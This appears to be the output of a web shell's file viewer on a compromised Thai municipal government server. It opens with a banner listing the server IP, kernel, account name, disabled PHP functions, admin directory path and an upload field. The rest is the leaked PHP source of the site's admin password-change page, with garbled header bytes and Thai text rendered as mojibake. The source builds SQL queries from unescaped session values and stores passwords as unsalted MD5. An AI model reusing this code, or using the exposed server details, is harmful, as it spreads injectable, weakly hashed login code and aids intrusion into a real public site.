%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : phunphin ( 1164) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/phunphin/domains/phunphin.go.th/public_html/admin/ |
Upload File : |
<?
session_start();
if( !isset($_SESSION["user"]) || !isset($_SESSION["passwd"]) ){
session_destroy();
$message="¡ÃØ³Ò Login ¡è͹ !";
$url="index.php";
include "alert.php";
die;exit;
}
require_once('Connections/conndb.php');
$pass5 = md5($_SESSION["passwd"]);
$uname = $_SESSION["user"];
$ulevel = $_SESSION["level"];
$query_m = "select * from tbl_admin where user_name='$uname' and user_password='$pass5' ";
$result_m = mysql_query($query_m) or die(mysql_error());
$num_rows = mysql_num_rows($result_m);
if ($num_rows > 0 )
{
$chk_edit = $_POST["chk_edit"];
if($chk_edit==1){
//à»ÅÕè¹ÃËÑʼèÒ¹
$now = date("Y-m-d H:i:s",time());
$pass = trim($_POST["s_apassword"]);
if(!empty($pass)){
$pass = md5($pass);
$sql = "update tbl_admin set user_password='$pass',udate='$now',user_update='$uname' where user_name='$uname' ";
$dbquery = mysql_query($sql) or die("Can't send query !A");
include("Connections/close_db.php");
echo "<br />";
echo "<h3><p align=\"center\"><font color='#0000BB'>à»ÅÕè¹ÃËÑʼèÒ¹ÊÓàÃç¨</font></p></h3><br />";
echo "<meta http-equiv=\"refresh\" content=\"3;url=signout.php\">";
die;
} else {
include("Connections/close_db.php");
echo "<h3><p align=\"center\"><font color='#0000BB'>äÁèÊÒÁÒöà»ÅÕè¹ÃËÑʼèÒ¹ä´é</font></p></h3><br />";
echo "<meta http-equiv=\"refresh\" content=\"5;url=changepass.php\">";
die;
}
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<!-- InstanceBeginEditable name="doctitle" -->
<!-- InstanceEndEditable -->
<?php
require_once('Connections/conndb.php');
mysql_select_db($database_conndb, $conndb);
?>
<title>ͧ¤ì¡ÒúÃÔËÒÃÊèǹµÓºÅ¾Ø¹¾Ô¹ µÓºÅ¾Ø¹¾Ô¹ ÍÓàÀ;ع¾Ô¹ ¨Ñ§ËÇÑ´ÊØÃÒÉ®Ãì¸Ò¹Õ : http://www.phunphin.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><style type="text/css">
<!--
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->
</style><!-- InstanceEndEditable -->
<!-- You can use Open Graph tags to customize link previews.
Learn more: https://developers.facebook.com/docs/sharing/webmasters -->
<meta property="og:url" content="https://www.your-domain.com/your-page.html" />
<meta property="og:type" content="website" />
<meta property="og:title" content="Your Website Title" />
<meta property="og:description" content="Your description" />
<meta property="og:image" content="https://www.your-domain.com/path/image.jpg" />
<style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-color:#006cd8;
}
-->
</style>
<!--styles -->
<link href="../styles.css" rel="stylesheet" type="text/css" />
<!--styles -->
<style type="text/css">
<!--
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
.style1 {color: #000000}
-->
</style>
<!--font-->
<link href="https://fonts.googleapis.com/css?family=Chakra+Petch|Kanit|Pridi&display=swap" rel="stylesheet">
<!--font-->
<style type="text/css">
<!--
.style4 {font-family: 'Chakra Petch', sans-serif}
-->
</style>
</head>
<body background="../images/0bg1.png" style="background-repeat:no-repeat; background-position:top">
<!-- content -->
<div align="center">
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="605" align="center" valign="top"> </td>
</tr>
<tr>
<td height="55" align="center" valign="top"><table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top"><a href="http://www.phunphin.go.th/index.php"><img src="../images/1menutop_01.png" alt=""/></a></td>
<td align="center" valign="top"><a href="http://www.phunphin.go.th/news.php?cat_id=1"><img src="../images/1menutop_02.png" alt=""/></a></td>
<td align="center" valign="top"><a href="http://www.phunphin.go.th/news.php?cat_id=2"><img src="../images/1menutop_03.png" alt=""/></a></td>
<td align="center" valign="top"><a href="http://www.phunphin.go.th/albums/index.php"><img src="../images/1menutop_04.png" alt=""/></a></td>
<td align="center" valign="top"><a href="http://www.phunphin.go.th/contacts/?scon_id=4"><img src="../images/1menutop_05.png" alt=""/></a></td>
<td align="center" valign="top"><a href="http://www.phunphin.go.th/office.php"><img src="../images/1menutop_06.png" alt=""/></a></td>
</tr>
</table></td>
</tr>
<tr>
<td align="center"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top">
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top">
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top"><img src="../images/bg_con2_01.png" width="100"></td>
</tr>
<tr>
<td align="center" valign="top" background="../images/bg_con2_02.png" style="background-repeat:repeat; background-position:top"><table width="95%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top"><!-- InstanceBeginEditable name="EditRegion3" -->
<table width="95%" border="0" cellspacing="0">
<tr align="center" >
<td height="22" align="left" class="styles1"> </td>
</tr>
<tr align="center" >
<td height="22" align="left" class="styles1"><div align="right"><a href="main.php#top" class="styles1" style="color:#000;">˹éÒ Admin</a> |
<?if($ulevel==1){?>
<a href="add_admin.php#top" class="styles1" style="color:#000;">¢éÍÁÙżÙé´ÙáÅÃкº</a>
<?} else {?>
<a href="changepass.php#top" class="styles1" style="color:#000;">à»ÅÕè¹ÃËÑʼèÒ¹</a>
<?}?>
| <a href="signout.php" class="styles1" style="color:#000;">ÍÍ¡¨Ò¡Ãкº </a></div></td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top">
<table width="100%" cellspacing="0" cellpadding="0">
<tr>
<td valign="top">
<table width="100%" border="0" cellpadding="2" cellspacing="2" bgcolor="#FFFFFF" class="box1">
<tr>
<td width="100%" height="25" background="../images/bg4.gif" class="styles" ><div align="center" class="title3">à»ÅÕè¹ÃËÑʼèÒ¹¼Ùé´ÙáÅÃкº</div></td>
</tr>
<form name="form1" method="post" action="changepass.php#top" onSubmit="return check();" autocomplete="off">
<tr>
<td>
<table width="100%" border="0" cellspacing="2" cellpadding="2" align="center">
<tr>
<td align="right" width="40%">User name :: </td>
<td><? echo $uname; ?></td>
</tr>
<tr>
<td align="right">ÃËÑʼèÒ¹ãËÁè :: </td>
<td><input type="password" name="s_apassword" id="s_apassword" size=30 maxlength=35 ></td>
</tr>
<tr>
<td align="right">Â×¹ÂѹÃËÑʼèÒ¹ :: </td>
<td><input type="password" name="c_apassword" id="c_apassword" size=30 maxlength=35 ></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="hidden" name="chk_edit" value="1">
<input type="submit" name="Submit" value="ºÑ¹·Ö¡¢éÍÁÙÅ">
</td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
</table>
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
</table>
<!-- InstanceEndEditable --></td>
</tr>
</table></td>
</tr>
<tr>
<td align="center" valign="top"><img src="../images/bg_con2_04.png" width="1000"></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="center" valign="top"><a href="http://main.pasworld.co.th" target="_blank"><img src="../images/foot.png" width="1000" height="115" alt=""/></a></td>
</tr>
</table>
</div>
<!-- end_content -->
<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>
</body>
<!-- InstanceEnd --></html>
<?
include("Connections/close_db.php");
} else {
session_destroy();
include("Connections/close_db.php");
$message="Username or Password Incorrect !";
$url="index.php";
include "alert.php";
}
?>